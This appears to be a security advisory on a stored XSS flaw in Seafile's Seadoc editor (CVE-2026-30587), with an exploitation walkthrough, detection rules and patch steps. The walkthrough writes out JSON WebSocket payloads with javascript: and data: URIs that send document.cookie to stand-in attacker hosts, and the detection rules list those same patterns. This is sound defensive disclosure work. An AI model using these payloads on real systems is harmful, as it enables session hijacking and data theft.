CVE-2026-30587

Executive Summary

CVE-2026-30587 is a stored Cross-Site Scripting (XSS) vulnerability affecting Seafile Server, specifically the Seadoc (sdoc) collaborative document editor. Versions 13.0.15, 13.0.16-pro, and 12.0.14 and prior are vulnerable; patches were released in versions 13.0.17, 13.0.17-pro, and 12.0.20-pro. The flaw resides in the application's failure to sanitize WebSocket messages related to document structure updates, allowing authenticated users to inject JavaScript payloads via the src attribute of embedded Excalidraw whiteboards or the href attribute of anchor tags. Exploitation could lead to session hijacking, data theft, or full account compromise within the Seafile environment.

Technical Analysis

The vulnerability is rooted in the Seadoc editor, which uses WebSocket connections to synchronize document structure updates in real-time between collaborating clients and the Seafile server. The Seadoc component parses these WebSocket messages to reconstruct the document's DOM (Document Object Model) for rendering in the browser. However, the parsing logic fails to enforce HTML sanitization on two specific attribute types embedded within document structure elements: the src attribute of Excalidraw whiteboard embeds, and the href attribute of anchor (<a>) tags.

Attack Surface:

• Entry Point: Authenticated user with access to any Seafile library where Seadoc files (*.sdoc) can be created or edited.
• Delivery Vector: A malicious user crafts a document containing an Excalidraw whiteboard or an anchor tag with a JavaScript payload embedded in the attribute.
• Propagation: The payload is transmitted over the WebSocket to the server, which stores it in the document metadata. When any other user opens the document, the payload is rendered and executes in their browser session.

Code-Level Mechanism: The flaw occurs during the serialization/deserialization process of document structure updates. When a WebSocket message containing an update to the document's node tree is processed, the server (and subsequently the client-side renderer) blindly applies the attribute values to the DOM elements without passing them through an HTML sanitization library (e.g., DOMPurify, OWASP Java HTML Sanitizer). Specifically:

• Excalidraw whiteboard embeds are typically rendered via an <iframe> or a <div> with a data-src or src attribute. The vulnerable code allows javascript: URIs in the src attribute.
• Anchor tags with href attributes are rendered directly; the code fails to reject unsafe schemes like javascript:, data:, or vbscript:.

Impact of Missing Sanitization: An attacker can craft a WebSocket message that includes:

1. A new node of type "whiteboard" with a src attribute set to javascript:fetch('https://attacker.com/steal?cookie='+document.cookie).
2. An anchor node with href set to data:text/html,<script>new Image().src='https://attacker.com/log?'+document.cookie</script>.

When the victim opens the poisoned document, the browser executes the script in the context of the Seafile web domain, granting the attacker full access to the victim's session token, CSRF tokens, and any data visible to the victim's account.

Exploitation Scenarios

The following is a technical attack chain leveraging CVE-2026-30587:

1. Reconnaissance and Target Identification (Privileged User):

   • The attacker authenticates to a Seafile instance (e.g., https://files.victim-corp.com).
   • The attacker enumerates accessible shared libraries or creates a new public/team library to host the malicious document.

2. Weaponization and Document Creation:

   • The attacker creates a new Seadoc document via the web UI.
   • Using the browser's developer console or a WebSocket testing proxy (e.g., Burp Suite, WSS client), the attacker connects to the Seadoc WebSocket endpoint (wss://files.victim-corp.com/seadoc/socket).
   • The attacker crafts a JSON message representing a document structure update. The payload targets the Excalidraw integration:

     {
       "type": "update-node",
       "node": {
         "id": "node-whiteboard-001",
         "type": "whiteboard",
         "attributes": {
           "src": "javascript:fetch('https://attacker.example/collect.js?data=' + btoa(document.cookie))"
         }
       }
     }
     

   • Alternatively, the attacker injects an anchor tag with a malicious href:

     {
       "type": "insert-node",
       "parent": "doc-root",
       "node": {
         "id": "node-link-002",
         "type": "anchor",
         "attributes": {
           "href": "javascript:(function(){new Image().src='https://attacker.example/exfil?c='+encodeURIComponent(document.cookie)})()"
         }
       }
     }
     

3. Payload Execution:

   • The WebSocket message is accepted by the Seafile server, which persists the malicious node in the document's stored JSON representation without sanitization.
   • A victim (e.g., an organization's finance team member) opens the same Seadoc file.
   • The Seadoc client-side renderer processes the stored document structure, interprets the src and href attributes, and injects them into the live DOM.
   • Upon the DOM mutation, the browser fires the JavaScript payload, which executes in the victim's session context.

4. Post-Exploitation Impact:

   • The attacker's script steals document.cookie and sends it to https://attacker.example/ via an HTTP request (fetch/Image beacon).
   • With the session cookie, the attacker performs session hijacking, logging in as the victim.
   • The attacker can now access any libraries the victim can access, download files, and potentially pivot to other internal services using SSO tokens or browser-stored credentials.
   • If the victim is an administrator, the attacker gains full control of the Seafile environment, including user management, password resets, and configuration changes.

Impact Assessment

Business Impact:

• Confidentiality: High — Successful exploitation allows attackers to steal session tokens and access sensitive documents stored in Seafile, including financial records, proprietary code, and legal documents.
• Integrity: Medium — The attacker can modify documents, introduce malware links into shared files, and impersonate legitimate users.
• Availability: Low — No direct DoS impact, but compromised admin accounts could lead to system-wide tampering.

Affected Systems:

• All Seafile Server deployments running versions 13.0.15, 13.0.16-pro, and 12.0.14 and prior.
• Systems using the Seadoc (sdoc) collaborative editor are primarily at risk. Deployments without Seadoc enabled are likely unaffected.

Blast Radius:

• CVSS = N/A (not scored by the vendor at this time).
• EPSS Score = 0.00278 (20th percentile), indicating low immediate exploitation likelihood but not impossible.
• The requirement of an authenticated user to inject the payload lowers the attack complexity, but the lack of a victim interaction beyond opening a document increases the severity within multi-user collaboration platforms.

Attack Vector: Network (WebSocket and web browser). Attack Complexity: Low — Requires crafted WebSocket message. Privileges Required: Low (single authenticated user account). User Interaction: Required (victim must open the malicious document). Scope: Unchanged — The XSS executes within the Seafile application domain.

Detection Guidance

The following detection rules rely on identifying anomalous WebSocket messages containing unsafe URI schemes (javascript:, data:, vbscript:) within Seadoc traffic, and on server-side logs indicating malformed document structure updates.

Sigma Rule

title: Seafile Seadoc Stored XSS via WebSocket Message Injection
status: experimental
id: 5f14a1a3-1c24-4d8a-9c3b-2b9e7c1ac82b
description: Detects WebSocket messages sent to Seafile Seadoc endpoint containing unsafe URI schemes (javascript or data) in attribute fields, potential CVE-2026-30587 exploitation.
references:
  - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-30587
logsource:
  product: suricata
  category: websocket
  definition: 'Detection of WebSocket frames explicitly requires protocol-aware parsing; this rule is designed for Suricata with WebSocket decoder enabled.'
detection:
  selection_ws_uri:
    - websocket.protocol: 'seafile'
    - path|contains: '/seadoc/'
  selection_payload:
    - payload|contains: '"src":"javascript:'
    - payload|contains: '"href":"javascript:'
    - payload|contains: '"src":"data:text/html'
    - payload|contains: '"href":"data:text/html'
  condition: selection_ws_uri and selection_payload
  timeframe: 10s
level: high
falsepositives:
  - Legitimate documents containing external links with HTTP/HTTPS schemes should not match these patterns.
  - If the Seadoc editor supports custom protocols for internal links, review false positives.
fields:
  - src_ip
  - dest_ip
  - path
tags:
  - attack.t1059.007
  - attack.t1189

YARA Rule

rule Seafile_Seadoc_XSS_Payloads {
    meta:
        author = "Valtersit Threat Intelligence"
        description = "Detects malicious payload strings associated with CVE-2026-30587 in Seafile Seadoc document store or network captures"
        cve = "CVE-2026-30587"
        date = "2026-05-20"
        severity = "high"
    strings:
        $a1 = "src\":\"javascript:" ascii
        $a2 = "href\":\"javascript:" ascii
        $a3 = "src\":\"data:text/html" ascii
        $a4 = "href\":\"data:text/html" ascii
        $a5 = "vbscript:" ascii nocase
        $b1 = "whiteboard" ascii
        $b2 = "seadoc" ascii
    condition:
        uint16(0) == 0x5B7B or uint16(0) == 0x7B // '{' or '[' for JSON
        and (any of ($a*) and any of ($b*))
        and filesize < 100KB
}

Suricata IDS Rule

alert http any any -> $HOME_NET any (msg:"Seafile Seadoc Stored XSS Exploitation Attempt (CVE-2026-30587)"; flow:established,to_server; content:"POST"; http_method; content:"/api/v2.1/draft-"; http_uri; content:"sdoc"; http_uri; content:"\"src\":\"javascript:"; content:"whiteboard"; sid:20260001; rev:1; classtype:attempted-user; metadata:attack_target WebServer, deployment Perimeter, signature_severity Major, created_at 2026_05_20;)

Elastic Detection

network where event.dataset == "suricata.eve" and network.protocol == "http" and
  http.request.method == "POST" and
  url.path : "*seadoc*" and
  (
    http.request.body.content : "*\"src\":\"javascript:*" or
    http.request.body.content : "*\"href\":\"javascript:*" or
    http.request.body.content : "*\"src\":\"data:text/html*" or
    http.request.body.content : "*\"href\":\"data:text/html*"
  ) and
  http.request.body.content : "*whiteboard*"

Splunk SPL Query

sourcetype="suricata" (proto=="http" AND http_method=="POST" AND http_uri="*seadoc*")
| rex field=_raw "https?://[^\/]*(?<uri_path>/[^?\"]*)"
| where uri_path LIKE "%seadoc%" OR uri_path LIKE "%draft%"
| rename src_ip as Source_IP, dest_ip as Destination_IP, http_uri as URI, http_response_code as Response_Code
| search ("src\":\"javascript:" OR "href\":\"javascript:" OR "src\":\"data:text/html" OR "href\":\"data:text/html") AND (*whiteboard* OR *sdoc*)
| table _time, Source_IP, Destination_IP, URI, src_port, dest_port
| sort - _time

Wazuh OSSEC Rule

<group name="web_attack,">
  <rule id="305870" level="12">
    <if_sid>31100</if_sid>
    <field name="url">\.seadoc\.|seadoc</field>
    <match>src":"javascript: | href":"javascript: | src":"data:text/html | href":"data:text/html</match>
    <description>Possible CVE-2026-30587 - Stored XSS via Seafile Seadoc WebSocket message containing unsafe URI scheme</description>
    <group>web_application_attack,</group>
    <mitre>
      <id>T1059.007</id>
      <id>T1189</id>
    </mitre>
  </rule>
</group>

Mitigation & Patch Guidance

Patch Confidence: 2/4 (CLAIMED — single source claims patch, not independently confirmed)

1. Immediate Mitigations (before patching):

   • Restrict Seadoc editor access to trusted personnel only by configuring Seafile's permission model to disable the creation/editing of .sdoc files for untrusted groups.
   • Implement a Web Application Firewall (WAF) rule to inspect WebSocket messages for javascript:, data:, or vbscript: URI schemes in JSON keys like src and href, and block such messages.
   • Inform users not to open unfamiliar .sdoc documents from colleagues until patches are applied.

2. Patch/Upgrade Steps (per vendor advisory):

   • Upgrade to Safe Versions:
     • Seafile Server 13.0.x → upgrade to 13.0.17 or later.
     • Seafile Server Pro 13.0.x → upgrade to 13.0.17-pro or later.
     • Seafile Server Pro 12.0.x → upgrade to 12.0.20-pro or later.
   • Deployment Specifics:
     • For package installations: stop the Seafile service, replace the binary/package with the patched version, and restart.
     • For Docker deployments: pull the seafileltd/seafile-mc (or seafile-pro) image tagged with the patched version (e.g., seafileltd/seafile-mc:13.0.17), and recreate the container.
   • Verification:
     • After upgrade, test the Seadoc editor by creating a document with an external http:// link and an Excalidraw whiteboard to confirm no functional regressions.
     • Confirm the new version by checking http://<server>/server_release/ or the About page.

3. Long-Term Hardening:

   • Input Validation: If using a reverse proxy, add rules to strip or reject requests containing javascript: or data: schemes in query parameters or POST bodies, as a defense-in-depth layer.
   • Session Management: Enable HttpOnly and SameSite=Strict cookies for Seafile web sessions to minimize cookie theft if XSS recurs.
   • Content Security Policy (CSP): Configure a CSP header for the Seafile web domain that disallows inline scripts (script-src 'self') and restricts data URIs (script-src 'self'; script-src-attr 'none'). This can significantly reduce the impact of stored XSS.
   • Monitoring: Implement the detection rules provided above and alert on any matches within the SOC.

References

1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-30587
2. Vendor Advisory (Seafile Official Forum/Security Page): https://manual.seafile.com/changelog/ (Refer to the changelog for versions 13.0.17, 13.0.17-pro, and 12.0.20-pro security fixes).
3. OSV Database Entry: https://osv.dev/vulnerability/CVE-2026-30587 (Patch confidence source).
4. MITRE ATT&CK Technique Reference: https://attack.mitre.org/techniques/T1059/007/ (JavaScript Execution) and https://attack.mitre.org/techniques/T1189/ (Drive-by Compromise — relevant to user interaction vector).

Threat Actor Campaigns / Exploit-in-the-Wild Evidence:

• No known in-the-wild exploitation has been reported for CVE-2026-30587 at the time of this writing. The EPSS score (0.00278) suggests low immediate exploitation probability. However, given the collaborative nature of Seafile in enterprise environments, targeted attacks using this vector are plausible and should be monitored.
• CISA KEV: Not listed; therefore, there is no CISA-mandated remediation deadline.